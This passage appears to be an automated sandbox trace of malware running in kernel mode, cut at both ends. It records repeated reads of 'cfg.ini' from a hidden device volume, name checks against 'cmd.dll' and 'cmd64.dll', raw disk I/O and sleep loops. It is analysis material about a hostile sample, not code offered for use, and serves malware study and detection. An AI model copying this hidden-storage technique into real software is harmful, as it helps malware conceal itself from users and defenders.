FastMutex=0xfffffa80027d3898) [0123.024] KeLeaveCriticalRegion () [0123.024] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.024] KeEnterCriticalRegion () [0123.024] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.024] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.024] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.024] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.024] KeLeaveCriticalRegion () [0123.024] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.024] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.024] KeEnterCriticalRegion () [0123.024] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.024] ExFreePoolWithTag (P=0xfffffa8003be71b0, Tag=0x0) [0123.024] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.024] KeLeaveCriticalRegion () [0123.024] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.024] ReleaseMutex (hMutex=0xf0) returned 1 [0123.024] Sleep (dwMilliseconds=0x124f80) [0123.038] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.038] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.038] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.038] KeEnterCriticalRegion () [0123.038] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.038] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.038] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.038] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.038] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.038] IdePortDispatch () returned 0x103 [0123.039] KeWaitForMutexObject () returned 0x0 [0123.039] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.039] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.039] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.039] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.039] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.039] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003825ba0 [0123.039] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.039] KeLeaveCriticalRegion () [0123.039] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.039] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.039] KeEnterCriticalRegion () [0123.039] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.039] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.039] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.039] KeLeaveCriticalRegion () [0123.039] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.039] KeEnterCriticalRegion () [0123.039] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.039] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.039] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.039] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.039] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.039] IdePortDispatch () returned 0x103 [0123.039] KeWaitForMutexObject () returned 0x0 [0123.040] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.040] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.040] KeLeaveCriticalRegion () [0123.040] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.040] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.040] KeEnterCriticalRegion () [0123.040] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.040] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d9b000 [0123.040] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.040] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.040] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.040] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.040] IdePortDispatch () returned 0x103 [0123.040] KeWaitForMutexObject () returned 0x0 [0123.040] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.040] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.040] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.040] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.040] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.040] IdePortDispatch () returned 0x103 [0123.041] KeWaitForMutexObject () returned 0x0 [0123.041] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.041] KeLeaveCriticalRegion () [0123.041] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.041] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.041] KeEnterCriticalRegion () [0123.041] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.041] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.041] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.041] KeLeaveCriticalRegion () [0123.041] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.041] KeEnterCriticalRegion () [0123.041] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.041] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.041] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be9c20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.041] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.041] KeLeaveCriticalRegion () [0123.041] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.042] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.042] KeEnterCriticalRegion () [0123.042] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.042] ExFreePoolWithTag (P=0xfffffa8003825ba0, Tag=0x0) [0123.042] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.042] KeLeaveCriticalRegion () [0123.042] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.042] ReleaseMutex (hMutex=0xf0) returned 1 [0123.042] Sleep (dwMilliseconds=0x124f80) [0123.042] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.048] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.048] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.048] KeEnterCriticalRegion () [0123.048] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.048] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.048] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.048] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.048] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.048] IdePortDispatch () returned 0x103 [0123.048] KeWaitForMutexObject () returned 0x0 [0123.049] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.049] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.049] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.049] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.049] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.049] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be74b0 [0123.049] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.049] KeLeaveCriticalRegion () [0123.049] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.049] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.049] KeEnterCriticalRegion () [0123.049] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.049] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.049] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.049] KeLeaveCriticalRegion () [0123.049] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.049] KeEnterCriticalRegion () [0123.049] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.049] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.049] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.049] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.049] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.049] IdePortDispatch () returned 0x103 [0123.049] KeWaitForMutexObject () returned 0x0 [0123.049] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.049] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.049] KeLeaveCriticalRegion () [0123.049] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.049] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.049] KeEnterCriticalRegion () [0123.049] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.049] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d9e000 [0123.049] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.049] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.049] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.050] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.050] IdePortDispatch () returned 0x103 [0123.050] KeWaitForMutexObject () returned 0x0 [0123.050] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.050] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.050] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.050] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.050] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.050] IdePortDispatch () returned 0x103 [0123.050] KeWaitForMutexObject () returned 0x0 [0123.050] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.050] KeLeaveCriticalRegion () [0123.050] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.050] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.051] KeEnterCriticalRegion () [0123.051] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.051] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.051] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.051] KeLeaveCriticalRegion () [0123.051] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.051] KeEnterCriticalRegion () [0123.051] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.051] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.051] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be2e10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.051] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.051] KeLeaveCriticalRegion () [0123.051] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.051] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.051] KeEnterCriticalRegion () [0123.051] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.051] ExFreePoolWithTag (P=0xfffffa8003be74b0, Tag=0x0) [0123.051] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.051] KeLeaveCriticalRegion () [0123.051] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.051] ReleaseMutex (hMutex=0xf0) returned 1 [0123.051] Sleep (dwMilliseconds=0x124f80) [0123.062] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.062] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.062] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.062] KeEnterCriticalRegion () [0123.062] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.062] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.062] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.062] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.062] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.062] IdePortDispatch () returned 0x103 [0123.062] KeWaitForMutexObject () returned 0x0 [0123.062] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.062] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.062] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.062] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.062] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.062] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be9ea0 [0123.062] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.062] KeLeaveCriticalRegion () [0123.062] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.062] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.062] KeEnterCriticalRegion () [0123.062] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.062] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.062] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.062] KeLeaveCriticalRegion () [0123.062] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.062] KeEnterCriticalRegion () [0123.062] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.062] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.062] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.062] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.062] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.063] IdePortDispatch () returned 0x103 [0123.063] KeWaitForMutexObject () returned 0x0 [0123.063] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.063] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.063] KeLeaveCriticalRegion () [0123.063] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.063] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.063] KeEnterCriticalRegion () [0123.063] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.063] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002da2000 [0123.063] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.063] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.063] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.063] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.063] IdePortDispatch () returned 0x103 [0123.063] KeWaitForMutexObject () returned 0x0 [0123.063] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.063] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.063] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.063] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.063] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.063] IdePortDispatch () returned 0x103 [0123.063] KeWaitForMutexObject () returned 0x0 [0123.064] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.064] KeLeaveCriticalRegion () [0123.064] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.064] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.064] KeEnterCriticalRegion () [0123.064] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.064] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.064] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.064] KeLeaveCriticalRegion () [0123.064] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.064] KeEnterCriticalRegion () [0123.064] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.064] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.064] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be9ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.064] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.064] KeLeaveCriticalRegion () [0123.064] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.064] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.064] KeEnterCriticalRegion () [0123.064] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.064] ExFreePoolWithTag (P=0xfffffa8003be9ea0, Tag=0x0) [0123.064] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.064] KeLeaveCriticalRegion () [0123.064] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.064] ReleaseMutex (hMutex=0xf0) returned 1 [0123.065] Sleep (dwMilliseconds=0x124f80) [0123.078] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.079] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.079] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.079] KeEnterCriticalRegion () [0123.079] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.079] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.079] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.079] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.079] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.079] IdePortDispatch () returned 0x103 [0123.079] KeWaitForMutexObject () returned 0x0 [0123.079] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.079] 